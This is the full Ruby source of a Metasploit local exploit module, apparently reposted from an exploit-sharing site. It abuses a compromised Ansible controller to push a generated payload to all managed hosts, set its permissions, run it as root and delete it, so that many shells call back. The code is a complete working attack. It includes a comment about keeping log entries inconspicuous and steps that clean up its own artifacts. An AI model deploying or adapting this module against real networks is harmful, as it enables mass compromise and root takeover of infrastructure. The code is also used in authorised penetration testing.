Share
## https://sploitus.com/exploit?id=PACKETSTORM:176637
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Local::Ansible  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ansible Agent Payload Deployer',  
'Description' => %q{  
This exploit module creates an ansible module for deployment to nodes in the network.  
It creates a new yaml playbook which copies our payload, chmods it, then runs it on all  
targets which have been selected (default all).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'n0tty' # original PoC, analysis  
],  
'Platform' => [ 'linux' ],  
'Stance' => Msf::Exploit::Stance::Passive,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],  
[ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],  
],  
'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that  
'DefaultTarget' => 0,  
'Passive' => true, # this allows us to get multiple shells calling home  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),  
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),  
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),  
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])  
]  
end  
  
def module_contents(payload_name)  
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.  
"- name: #{Rex::Text.rand_text_numeric(3..6)}  
hosts: #{datastore['HOSTS']}  
remote_user: root  
tasks:  
- name: 1  
ansible.builtin.copy:  
src: #{datastore['WritableDir']}/#{payload_name}  
dest: #{datastore['TargetWritableDir']}/#{payload_name}  
- name: 2  
ansible.builtin.file:  
path: #{datastore['TargetWritableDir']}/#{payload_name}  
owner: root  
group: root  
mode: '0700'  
- name: 3  
command: #{datastore['TargetWritableDir']}/#{payload_name}  
- name: 4  
file:  
path: #{datastore['TargetWritableDir']}/#{payload_name}  
state: absent  
"  
end  
  
def check  
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?  
  
CheckCode::Appears('ansible playbook executable found')  
end  
  
def ping_hosts_print  
results = ping_hosts  
if results.nil?  
print_error('Unable to parse ping hosts results')  
return  
end  
  
columns = ['Host', 'Status', 'Ping', 'Changed']  
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)  
  
count = 0  
results.each do |match|  
table << [match['host'], match['status'], match['ping'], match['changed']]  
count += 1 if match['ping'] == 'pong'  
end  
print_good(table.to_s) unless table.rows.empty?  
# give the user a few seconds to cancel if its too many etc  
print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")  
Rex.sleep(10)  
end  
  
def exploit  
# Make sure we can write our exploit and payload to the local system  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']  
ping_hosts_print if datastore['CALCULATE']  
  
payload_name = rand_text_alphanumeric(5..10)  
module_name = rand_text_alphanumeric(5..10)  
  
print_status('Creating yaml job to execute')  
yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"  
write_file(yaml_file, module_contents(payload_name))  
register_file_for_cleanup(yaml_file)  
print_status('Writing payload')  
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe  
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets  
print_status('Executing ansible job')  
resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")  
playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')  
print_good("Stored run logs to: #{playbook_log}")  
# stolen from exploit/multi/handler  
stime = Time.now.to_f  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if timeout > 0 && (stime + timeout < Time.now.to_f)  
  
Rex::ThreadSafe.sleep(1)  
end  
end  
  
end